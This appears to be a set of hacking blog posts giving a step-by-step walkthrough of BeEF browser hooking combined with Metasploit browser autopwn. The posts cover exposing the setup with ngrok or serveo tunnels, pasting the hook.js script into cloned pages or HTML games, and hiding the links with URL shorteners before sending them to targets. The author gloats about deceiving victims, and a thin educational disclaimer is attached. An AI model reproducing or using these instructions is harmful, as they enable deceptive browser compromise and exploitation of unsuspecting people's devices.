Integrating Metasploit with Beef-xss Framework

Welcome lads to hacking a rise as always Im the laughing man and in this post i will show u how to integrate beef-xss with metasploit for browser autopwn
this will gave to a payload on targets device how sneaky is that hahaha so i wont be using the basic beef default page as i want make this look as real as i can i will all so be using link shorter’s to hide the url and i will be using beef-over-wan and ngrok to find out how to set up and use Beef-over-wan check my other post on beef over wan here so lets begin

What is Beef-xss Framework

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. … BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
credits :Beefproject.com

what is metasploit

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. It is owned by Boston, Massachusetts-based security company Rapid7
credits:wikipedia.org

How to integrate Metasploit with Beef-xss Framework

first of all we need to open the terminal and type gedit /usr/share/beef-xss/config.yaml and scroll down to metasploit and change enabled to true and then save

Next we edit the /usr/share/beef-xss/extensions/metasploit/config.yaml so type gedit /usr/share/beef-xss/extensions/metasploit/config.yaml
in this file we need to set are ip and the callback_host: (and put your IP address there) and {os: ‘custom’, path: ”} (just paste the ‘/usr/share/metasploit-framework/’ for the path) to get your local ip use ifconfig

beef:
extension:
metasploit:
name: ‘Metasploit’
enable: true
# Metasploit msgrpc connection options
host: “127.0.0.1”
port: 55552
user: “msf”
pass: “abc123”
uri: ‘/api’
ssl: true
ssl_version: ‘TLS1’
ssl_verify: true
# Public connect back host IP address for victim connections to Metasploit
callback_host: “127.0.0.1”
# URIPATH from Metasploit Browser AutoPwn server module
autopwn_url: “autopwn”
# Start msfrpcd automatically with BeEF
auto_msfrpcd: true
auto_msfrpcd_timeout: 120
msf_path: [
{os: ‘osx’, path: ‘/opt/local/msf/’},
{os: ‘livecd’, path: ‘/opt/metasploit-framework/’},
{os: ‘bt5r3’, path: ‘/opt/metasploit/msf3/’},
{os: ‘bt5’, path: ‘/opt/framework3/msf3/’},
{os: ‘backbox’, path: ‘/opt/backbox/msf/’},
{os: ‘kali’, path: ‘/usr/share/metasploit-framework/’},
{os: ‘pentoo’, path: ‘/usr/lib/metasploit’},
{os: ‘custom’, path: ‘/usr/share/metasploit-framework/’}
]

save it

no we need to restart are PostgreSQL so type service postgresql start or /etc/init.d/postgresql restart

(note only use one of the commands )

Now we are ready to start msfconsole whoop whoop so type msfconsole and type load msgrpc ServerHost=127.0.0.1 Pass=abc123 then it starts up .

msf5 > load msgrpc ServerHost=127.0.0.1 Pass=abc123
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc
msf5 >

Now we can start beef-xss so type this in to a new terminal cd /usr/share/beef-xss/ & then ./beef

as u see it says it works lol

right now that is done we can stop beef-xss and metasploit and start Beef-over-Wan and ngrok you will have to edit the .ngrok2/ngrok.yml so type gedit .ngrok2/ngrok.yml and add this under your key like i have below

tunnels:
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http

now we save and type ngrok start --all

now we can start Beef-Over-Wan so type cd Beef and ls and then python BeeFOverWan.py it will ask you to press 1 or 0 pick 0 to skip the ngrok settings

gave it a min to load then it will ask you for ur frist link so go back to ngrok and copy the link with out the https or http it should look like this (57af450a.ngrok.io) this the one that is open to 80

next is the link we will connect to the dashboard of beef-xss so thats be the one open to 3000 so copy it like this b35c09a4.ngrok.io and paste to beef over wan

now we hit enter and with its done as u can see in the pic below my admin panel url is http://b35c09a4.ngrok.io/ui/panel and the hook url is http://57af450a.ngrok.io/beef.html <--- this be the link you send

Now come the fun part cloning the site so to save time im using a game called PirateJewelCollapse.html so now we go to the html folder in /var/www/html and find the beef.html file and open it in text editor

all we need is the little hook script right there under title just copy it now open the html file u want to use with beef agen im using a game coz im nice like that lol but save it when you done

right lads and gals we can use a link shorter or send the link the way it is be i say link shorter thank god hacking a rise has one lol
so we copy the hook link with out the beef.html and paste to hackingarise link shorter and add the name the html file you are using so the link looks like this http://57af450a.ngrok.io/PirateJewelCollapse.html

now the link as became https://hackingariseofficial.github.io/#UJ6mQ

u can now send it the target and log in to beef-xss frist we log in defult name and pass is beef

now we send the target the link https://hackingariseofficial.github.io/#UJ6mQ

when the target clicks the link the it pop up under online click there ip and u can excute the commands

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law

Beef-xss with html games

welcome to hacking a rise im the laughing man today we are going to show ya ways to trick people clicking your link to hook browsers so this one my fav ways lads i take pride in telling ye how to do this hahaha its funny coz they think they are playing games but really we are hacking there system hahahaha so lets start with what is beef-xss and html

What is beef-xss

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. … BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

What is HTML

Hypertext Markup Language is the standard markup language for documents designed to be displayed in a web browser. It can be assisted by technologies such as Cascading Style Sheets and scripting languages such as JavaScript

Getting started

right lads to get started we going to need to forward the ports on your router but for thos that dont know how we got Beef-Over-Wan so we will start with installing it
git clone https://github.com/stormshadow07/BeeF-Over-Wan.git
cd BeeF-Over-Wan
chmod +x BeeFOverWan.py && python BeeFOverWan.py

Now we need to install ngrok
Download ngrok
First, download the ngrok client, a single binary with zero run-time dependencies.

Linux
Mac OS X Windows Mac (32-bit) Windows (32-bit) Linux (ARM) Linux (ARM64) Linux (32-bit) FreeBSD (64-Bit) FreeBSD (32-bit)
Unzip to install
On Linux or OSX you can unzip ngrok from a terminal with the following command. On Windows, just double click ngrok.zip.

unzip /path/to/ngrok.zip
Most people like to keep ngrok in their primary user folder or set an alias for easy command-line access.

Connect your account
Running this command will add your authtoken to your ngrok.yml file. Connecting an account will list your open tunnels in the dashboard, give you longer tunnel timeouts, and more. Visit the dashboard to get your auth token.

./ngrok authtoken

Sign up for free to get your auth token.

Try it out by running it from the command line:

./ngrok help
To start a HTTP tunnel on port 80, run this next:

./ngrok http 80
https://ngrok.com/download <--- find out more --->

now we need to edit the /root/.ngrok2/ngrok.yml
tunnels:
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http
add that to the file and save it

How to perform the hack

right lad are first thing to do is add are game to are html folder so so to html games and click embed

then type gedit /var/www/html/PirateJewelCollapse.html

now before we add the hook link check if the game works so type firefox /var/www/html/PirateJewelCollapse.html

It works WHOOP WHOOP now lets start ngrok
since i got so cd to ngrok and type ./ngrok start --all

now we start Beef-over-wan so open a new terminal and go to Beef-over-wan type cd BeeF-Over-Wan/

Press 0

Press enter

now add the first link the one calling back on port 80

and the second link the one calling back on port 3000 this the one you use to log in

now we go the the var/www/html folder and open the beef.html file and copy the hook script

now we close it and open the game html file and add the hook code to it

now that’s done we are ready to send the link to victim

http://5d6da1d3.ngrok.io/PirateJewelCollapse.html

so now we log in to beef

http://5a66440c.ngrok.io/ui/authentication

when the target clicks the link they will be hooked

Beef over wan with serveo.net no port forwarding

Welcome back lads yes its another one on beef over wan this one for thos who dont got ngrok we can also use serveo to forward posts using ssh.

What is beef

Beef Xss Framework is a browser exploitation tool. It mainly focuses on client-side attacks and web-based browsers. It helps a penetration tester to understand past the network perimeter and client system. Its available in Kali Linux and other penetration testing operating systems by Default

what is serveo

Serveo is an SSH server just for remote port forwarding. When a user connects to Serveo, they get a public URL that anybody can use to connect to their localhost server.

installing beef over wan

git clone https://github.com/stormshadow07/BeeF-Over-Wan.git
cd BeeF-Over-Wan
chmod +x BeeFOverWan.py

getting started

service apache2 start

right lads what we need to do is open a terminal and type ssh -R 80:localhost:80 -R 8090:localhost:3000 serveo.net

now we go to Beef over wan so open another terminal and type cd BeeF-Over-Wan then python BeeFOverWan.py

now we press 0 to skip

Now get get to the part for the links so we start off by adding the tunc.serveo.net link for the victim to click and then the one for the panel is serveo.net:8090

press enter to get the links

now we copy the http://serveo.net:8090/ui/panel open firefox and paste the url in to go to the beef log in page sign in with the username beef and password beef if you didnt set your own

now we go to the html folder in var/www/html and open the beef.html with gedit

now we copy the hook script <.script src=".http://tunc.serveo.net:80/hook.js"><./script> and copy it in to the page u wanna use so im using a page i mead on blogger why-not.html it call to clone a webpage cd to the html folder with terminal cd /var/www/html and then use wget of the site anyways ctrl + s after u pasted the hook script in to the page

now for the fun part sending the link to the target hahaha the link u send is the tunc.serveo.net/why-not.html or what ever u pick

DISCLAMER

This article is only for an Educational purpose. Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The Authors and https://hackingarise.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

Beef-xss over wan with custom page

This summary is not available. Please click here to view the post.